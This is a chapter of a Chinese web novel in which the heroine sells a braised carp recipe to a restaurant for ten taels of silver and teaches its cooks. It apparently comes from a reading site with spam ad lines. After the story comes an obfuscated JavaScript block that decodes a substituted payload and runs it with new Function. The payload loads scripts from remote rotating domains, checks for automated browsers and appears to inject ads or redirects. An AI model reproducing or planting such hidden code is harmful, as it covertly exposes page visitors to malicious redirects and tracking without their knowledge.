足迹
小叔子对我好
登录
关灯
护眼
字体:

027 十两银子(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁性感美女在线做

果然,很快就有伙计过来请叶映雪去后厨,方雩主动起身,“二嫂,我和你一起过去。”

叶映雪知道,方雩是担心她在接下来的交涉当中吃亏,也没说什么,就和方雩一起去了酒楼后厨。

进入后厨,叶映雪的第一感觉就是:望春来不愧是大卫朝最大规模的酒楼,光看这后厨规模就知道,这管理是绝对上心的。

此时正是酒楼忙碌的最高峰,三排一共十二个灶台,其中十个灶台前都有厨子正在忙碌的炒菜,学徒们正在忙着洗菜切配,整个厨房里,刀剁在砧板上的声音,铁锅里油爆的滋啦的声音,厨子们的呼喝声不绝,一副热火朝天的模样。

因为一时半会儿没人挑战,涂烈也从前面的擂台上退了下来,准备给前面那些要酱焖鲫鱼的客人做酱焖鲫鱼。

“叶小娘子,你这葱烧鲫鱼确实不错,我在台上闻着味道也恨不得立刻过去吃两口。”

涂烈也尝了叶映雪做的葱烧鲫鱼,和他的酱焖鲫鱼确实不同,但是相同的是都很下饭。

“涂师傅过奖,这葱烧鲫鱼其实还可以改进一番,比如说可以提前炸好葱油,选大葱小葱和芫荽根放入菜籽油当中炸出葱油,最后出锅前淋的明油改成葱油,会让这道菜的香气更胜一筹。”

“然后就是酸咸菜和泡姜,酒楼里的泡姜是酸甜口的,其实这道菜的泡姜用酸咸口的比较好,酸咸菜有些过于咸,酸味不足,日子泡的再短一些,盐再少一些会更好。”

掌柜的本来还打算跟叶映雪吹一吹他们的后厨,然后好跟叶映雪谈个价格,结果涂烈一开口,叶映雪都说了这么多,听起来不是个简单的小娘子。

望春来这位掌柜的叫吴四,是今年开春才到丹霞县的,原本他是在靠近上京的同州府望春来任掌柜的,因为一些事情得罪了人,才被调到丹霞县这么个小县来。

丹霞县这样的地方并不算富裕,比起上京以及上京周边的州府来说,差的太多了,在吴四来之前,望春来酒楼传统的厨子擂台,在这里竟然统共只举行过四次。

望春来酒楼在丹霞县已经开了五年,这平均一下一年都不到一次。

吴四当时问的时候,酒楼的管事还振振有词,表示他们举行过,但是没人来参加,还要耗费人力物力,不划算。

当时吴四就把这管事给开了。

想到这一茬,吴四的心情又有些不好,丹霞县可是世子亲娘的家乡,虽然她现在只能被称作端亲王前王妃,也在丹霞庵那边修行不理世俗,但是她怎么也顶着前王妃的名头,这家酒楼就是为了前王妃开的,他吴四容不得这些人这么作践前王妃。

当然,吴四心里百转千回,脸上却没露出什么。

见叶映雪和涂烈说完了,便上前笑着开口:“叶小娘子,酒楼愿出十两银子买这葱烧鲫鱼的做法,叶小娘子看这买卖可还值得?”

别看叶映雪来了之后,动不动就是一百两银子五十两银子的,实际上银子在碧云村这地方并不常见,百姓多用的还是铜板。

在碧云村这个地方,一家子四五口人,一年只消三四两银子就能正常过下去了。

不然牛伟也不会为了方家那一百两银子折腾出这么大的事情来。

这葱烧鲫鱼不是什么多难的菜,像是涂烈这样的师傅,观察了她做菜的过程,说不定花上十天半个月就自己琢磨出来了。

菜谱这东西,也就是在这种传承格外重要的年代,被大家看的很重,在现代社会,各种菜谱在网上都能找到分享,还会有那种国宴大厨拍视频分享菜的做法甚至秘方。

叶映雪以前是美食阿扑主,自家就是厨师世家不说,拍视频时做过的菜没有一千也有八百,而且她空间里还躺着中西不同的菜谱一大堆,一个葱烧鲫鱼的方子收获十两银子,叶映雪并不觉得自己亏了。

甚至她觉得,一个菜谱就能换一个普通人三四年的生活费,这已经很赚了。

“自然可以,不知道是哪位要学,我再做一遍。”

涂烈当即点了两个学徒上前,叶映雪也就不再耽搁,去鱼缸那边挑了两条鲫鱼,交给学徒去处理。

“鱼腹里面的黑膜已经要撕干净,还有鱼鳃下面的骨血。”

两个学徒一边杀鱼,叶映雪一边在旁边提醒。

准备辅料的时候,叶映雪也说的很仔细,两个学徒瞪大了眼睛,就算是他们跟着的师傅教做菜,也没有教的这样详细的,都是靠他们自己眼睛看和脑子记。

把注意的点说清楚之后,叶映雪看向涂烈,“至于我说的泡酸咸菜和泡姜,涂师傅可以自己重新泡了之后,按照这方法来做一次,味道会有一些差别的。”

后厨就有炸好的葱油,叶映雪没再自己炸,开始做菜。

约莫一刻钟之后,葱香鲫鱼出锅,香气扑鼻,在这偌大的后厨当中,这香气霸道的冲破了一旁的红烧肉香,勾得众人腹内馋虫都跑了出来。

正好这会儿后厨忙到了一个段落,众人干脆围了过来,一人拿着一双筷子,往那碟子里面伸。

看着好几双筷子一起伸过来,叶映雪不由得怀疑自己是不是量做少了。

果不其然,很快这一盘鱼就被消灭的干干净净。

好在涂烈这会儿点了那两个学徒,三人各占了一个灶台,按照叶映雪所说的方法开始做这道菜。

等做完之后,叶映雪挨个上去试了味道,涂烈果然是酒楼大厨,第一次做和她做出来的味道就相差无几,而两个学徒倒差了一点。

涂烈尝了尝自己做的鱼,“还差了点意思,得再练几回。”

吴四脸上露出满意的笑容。

葱烧鲫鱼不是什么大菜,像是涂烈这样的师傅,不可能让他一直做这个菜的,主要还是培养学徒来做这道菜,既然涂烈心里有数了,以后教会了学徒,这道葱烧鲫鱼就是他们望春来酒楼的一道常规菜色了。

吴四很快让人取了十两银子过来,亲手交给了叶映雪。

“叶小娘子有什么其他会的菜色,欢迎来我望春来继续挑战擂台。”

方雩突然问了一句,“下一次厨子擂台是什么时候?”

吴四面带微笑,“是六月,主食材无意外的话,取的就是六月的时鲜。”

——内容来自【咪咕阅读】

🎁性感美女在线做请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="eawgtylcnb";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@Q}jR8YdDpFTq(2)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"YdDpFTq(2)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmTfY20C0mRT4"="@Q}5p(LYpmsOopQqqmRT4"="@Q}D7(LSqmTfY20C0mRT4"="@Q}dC(LJ^msOopQqqmRT4"="@Q}(C(L:4mTfY20C0mRT4"="@Q}C2(LSYmsOopQqqmRT4"="@Q}25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}FC(LCDm{XRs4SLmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@Q}j(8}vR8YdDpFTq(2)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();